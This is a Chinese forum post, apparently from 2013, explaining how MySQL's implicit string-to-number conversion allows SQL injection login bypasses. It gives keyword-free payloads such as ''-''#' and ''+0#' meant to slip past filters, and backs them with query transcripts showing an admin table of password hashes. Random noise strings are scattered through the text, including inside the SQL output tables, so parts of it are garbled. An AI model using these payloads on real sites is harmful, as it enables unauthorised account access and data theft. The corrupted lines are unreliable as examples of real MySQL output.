找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1938|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
( |* v" F4 }0 n  z/ I3 B2 \有以下表结构:
" |) C. B6 n5 P7 {4 I" L2 u( {) O4 \9 |
mysql> desc admin;: ]' u3 j; a4 K( Q
+----------+--------------+------+-----+---------+----------------+
1 c, s' R+ e/ @4 y- P; c) j+ i| Field    | Type         | Null | Key | Default | Extra          |
  P5 n7 k. p; f  C( V0 N) d+----------+--------------+------+-----+---------+----------------++ ], s% I. T3 s5 `% l# ^% X0 k/ j' K  O
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
0 W4 T9 o# `, z: j| name     | char(32)     | NO   | UNI | NULL    |                |
  o: A" F# a) Q. z| password | char(32)     | NO   | UNI | NULL    |                |+ e) p2 Y+ [# |9 N4 z6 S! A
+----------+--------------+------+-----+---------+----------------+1 t4 M* A7 a6 ~+ }- v, e
3 rows in set (0.00 sec), @( Z) |1 @7 r" Q* G. `
执行select * from admin;,成功返回所有记录内容。
1 x4 q) v$ c* N4 ^+ m6 v5 T6 ]- g7 f, H$ D9 n& {% N5 N; v2 z
$ w: B" H* Q* y2 k  ^! Z7 [# ~
+----+--------+----------------------------------+: R* `' G1 ?! F: M4 \/ ?
| id | name   | password                         |. r+ ~: f0 T6 j2 K) Z
+----+--------+----------------------------------+* ~+ u* H' l0 p6 u" X8 p
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |6 q* b3 ~! G: {+ |  |
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
! g5 g3 Q# P2 W# ~7 q, C|  4 | n00b   | ff80e8508d39047460921792273533a4 |
& T& J( F# L1 G+----+--------+----------------------------------+
0 T+ b- {' ~; l4 j  A9 ^" e3 rows in set (0.00 sec)
* e6 Y$ o9 G. u& b5 \# ]执行select * from admin where name=”;,没有匹配到任何记录。 * p1 x0 K' A8 w1 u0 G' c# d
5 ^6 n* f+ r! K& P+ q
mysql> select * from admin where name = '';
: T  d; p0 C2 yEmpty set (0.00 sec)+ d6 V$ I, L* i: a8 z
那么我们来执行select * from admin where name = ”-”;
5 L& T+ R% K* _7 i& O5 x# ~5 l: ?  T0 A( M
; i0 l- `" J+ m  W% ?! n5 y- K
+----+--------+----------------------------------+# u3 E) ]! |, W
| id | name   | password                         |
: m  P( a) H4 r: C& D# |/ t( v3 ]9 }+----+--------+----------------------------------+. L1 j0 x, x2 G- R- i) \. n9 V
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |. g7 B' D1 X+ u& z- |
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
, O( Z4 M$ W: m, L|  4 | n00b   | ff80e8508d39047460921792273533a4 |+ f* h! `9 ?1 L1 S
+----+--------+----------------------------------+
" m: P+ A3 L3 o3 rows in set, 3 warnings (0.00 sec)( E# D$ N& {3 S( k" W* Z, y
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 1 h( t( {+ c, t% {

% S4 ^9 f- [: w9 U( K$ Imysql> show warnings;
. W/ k' I2 p  z+---------+------+------------------------------------------6 O' i; b4 X$ x* v7 I) S" J
| Level   | Code | Message. T) D, t3 ?: h5 g  o7 o
+---------+------+------------------------------------------" ?; R3 o$ u: m- [
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin/ q7 B& u/ o) _- ~+ J% k1 C
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s- u* s+ z8 D- |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b6 P$ @! E1 H6 p# C! u
+---------+------+------------------------------------------6 c% m- ~( D8 u  O
3 rows in set (0.00 sec)
( `$ K' l) d2 \; ^4 T. M# N提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ' ~( Z3 T( q4 }3 _4 g# |
6 v; t7 q; z/ ?) |$ t
mysql> select ''-'';
8 N9 v" ?. m4 l  T5 f5 u; @+-------+3 V' @4 H* f0 ?
| ''-'' |) }* f$ s& @9 R  m5 Y# C" T
+-------+
) B8 f3 n2 e0 W* z* d|     0 |# u$ c) L" Q6 h3 X6 `4 f8 O! e
+-------+. R, @9 M" `$ o8 c: X# F6 j* R0 A
1 row in set (0.00 sec)- R  m! Y& _& j% u8 K1 U
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
% t$ V+ [7 w' u" ~& k6 y* A8 @" k& r, R! X) Z
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);# V5 J* S- a3 ?4 ^/ I
+-----------------------------------------------------+
4 T2 i/ u* H- i/ ~2 K# k| CAST((select name from admin limit 1,1) as DECIMAL) |' @. i- Y# D3 }6 p
+-----------------------------------------------------+# F' p8 ^0 L' t6 u$ D
|                                                   0 |- u$ X2 T5 M  u& P
+-----------------------------------------------------+
6 j& |8 ^$ X* B+ M: `6 d9 n2 [+ F: q1 row in set, 1 warning (0.00 sec)
3 c' X0 D9 T9 g3 K' i6 Z因此where语句构成了相等的条件,where 0=”=”,记录被返回。 & n. J8 H  R5 R

1 y0 g3 Z2 o8 [% X# r' g7 NSQL注入场景: http://www.sqlzoo.net/hack/
& h4 r9 {, t4 X7 k/ V9 m4 r9 [1 G  y6 K8 }" s
. D& p5 @9 p- i. J& c* ~6 }2 m$ p

6 H! x4 G: u- a/ Z- @
9 z! u% @/ _9 T! L- F如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
' r* I# Y+ O( ]5 ~, C% C9 M7 f* ~( c4 ]
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
! `# W7 V! I/ {
  t2 K9 I: M" t; R
# }& N0 _0 d4 [' D# i" E0 B3 O" X* b6 ^2 B3 f3 b9 H! Z
+ F) n: b' g8 [. P
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 " c/ y, d! B1 Y9 U
( @; d+ b- N! ]+ C
   5 h0 L( i( y0 M5 P, P

( g  S9 i; `0 j# g! D除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可9 n4 k- M. u! S4 a+ Q) m/ b& S
- d2 A" M. m2 o! b- ~! @% ]2 k% i" R
3 ?# S& l- q- {8 f& h
mysql> select ''/1;
/ u6 o0 m% ^& N$ p, W2 a1 R9 i8 o+------+
' L5 V% f7 \+ {8 e* D. l* @6 O| ''/1 |* U* g& E7 A. y! |/ Q
+------+! @. w1 W3 G' i/ `
|    0 |
4 V6 T7 U( C. N+------+: Z6 `$ ]. i0 @% A7 i& {
1 row in set (0.00 sec)/ X1 D8 R" l- Q# z, ?; g/ K
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  ( {# u+ W, F6 T- I# u

+ [2 ?5 F# w4 X$ k利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
/ H, ]' J& U# n. m/ A1 J2 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表